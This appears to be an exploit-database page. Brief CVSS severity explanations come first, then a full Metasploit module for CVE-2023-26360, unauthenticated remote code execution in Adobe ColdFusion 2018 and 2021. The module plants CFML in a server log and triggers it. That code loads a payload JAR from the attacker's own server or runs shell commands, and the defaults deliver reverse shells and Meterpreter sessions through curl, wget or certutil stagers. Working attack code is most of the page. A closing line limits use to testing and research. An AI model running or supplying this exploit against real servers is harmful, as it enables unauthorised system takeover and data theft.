The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Adobe ColdFusion Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-26360'],
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
],
'DisclosureDate' => '2023-03-14',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.
'WfsDelay' => 30,
'Targets' => [
[
'Generic Java',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => [ ARCH_JAVA ],
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
}
},
],
[
'Windows Command',
{
'Type' => :cmd,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
},
],
[
'Windows Dropper',
{
'Type' => :dropper,
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Type' => :cmd,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
},
],
[
'Linux Dropper',
{
'Type' => :dropper,
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# The following artifacts will be left on disk:
# The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
# * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class
# * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
# If a dropper payload was used, a file with a random name may be left.
# * Windows: C:\Windows\Temp\XXXXXX.exe
# * Linux: /tmp/XXXXXX
ARTIFACTS_ON_DISK,
# The following logs will contain IOCs:
# C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
# C:\ColdFusion2021\cfusion\logs\exception.log
# C:\ColdFusion2021\cfusion\logs\application.log
IOC_IN_LOGS
],
'RelatedModules' => [
'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
]
}
)
)
register_options(
[
Opt::RPORT(8500),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
return CheckCode::Unknown('Connection failed') unless res
# We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
# to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
# https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69
if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
return CheckCode::Detected('ColdFusion detected but version number is unknown.')
end
CheckCode::Unknown
end
def exploit
unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
end
case target['Type']
when :java
# Start the HTTP server
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload...
handler
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def on_request_uri(cli, _req)
if target['Type'] == :java
print_status('Received payload request, transmitting payload jar...')
send_response(cli, payload.encoded, {
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
super
end
end
def trigger_urlclassloader
# Here we construct a CFML payload to load a Java payload via URLClassLoader.
# NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.
cf_url = Rex::Text.rand_text_alpha_lower(4)
srvhost = datastore['SRVHOST']
# Ensure SRVHOST is a routable IP address to our RHOST.
if Rex::Socket.addr_atoi(srvhost) == 0
srvhost = Rex::Socket.source_address(rhost)
end
# Create a URL pointing back to our HTTP server.
cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"
cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)
# Get a reference to java.lang.reflect.Array so we can create a URL[] instance.
cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"
cf_array = Rex::Text.rand_text_alpha_lower(4)
# Create a URL[1] instance.
cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"
# Set the first element in the array to our URL.
cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"
cf_loader = Rex::Text.rand_text_alpha_lower(4)
# Create a URLClassLoader instance.
cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"
# Load the remote JAR file and instantiate an instance of metasploit.Payload.
cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"
execute_cfml(cfc_payload)
end
def execute_command(cmd, _opts = {})
cf_param = Rex::Text.rand_text_alpha_lower(4)
# If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.
cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"
# Set our cf_param with the data in the requests form data, this is the command to run.
cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"
# Here we construct a CFML payload to stage the :cmd and :dropper commands...
shell_name = nil
shell_arg = nil
case target['Platform']
when 'win'
shell_name = 'cmd.exe'
shell_arg = '/C'
when 'linux', 'unix'
shell_name = '/bin/sh'
shell_arg = '-c'
end
cf_array = Rex::Text.rand_text_alpha_lower(4)
# Create an array of arguments to pass to exec()
cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"
cf_runtime = Rex::Text.rand_text_alpha_lower(4)
# Get a reference to the java.lang.Runtime class.
cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"
# Call the static Runtime.exec method to execute our string array holding the command and the arguments.
cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"
# The end of the If tag.
cfc_payload << '</cfif>'
execute_cfml(cfc_payload, cf_param, cmd)
end
def execute_cfml(cfml, param = nil, param_data = nil)
cfc_payload = '<cftry>'
cfc_payload << cfml
cfc_payload << "<cfcatch type='any'>"
cfc_payload << '</cfcatch>'
cfc_payload << '<cffinally>'
# Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.
# GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the
# template we are executing.
cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"
cfc_payload << '</cffinally>'
cfc_payload << '</cftry>'
# We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.
unless cfc_payload.length < 950
fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')
end
# We dont need to call a valid CFC method, so we just create a random method name to supply to the server.
cfc_method = Rex::Text.rand_text_alpha_lower(1..8)
# Perform the request that writes the cfc_payload to the CF_LOGFILE.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => { '_variables' => "{#{cfc_payload}" }
)
unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')
end
# The relative path from wwwroot to the CF_LOGFILE.
cflog_file = datastore['CF_LOGFILE']
# To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters
# to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.
if target['Platform'] == 'win'
classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"
else
classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"
end
json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"
vars_post = { '_variables' => json_variables }
unless param.nil? || param_data.nil?
vars_post[param] = param_data
end
# Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be
# executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => vars_post
)
unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum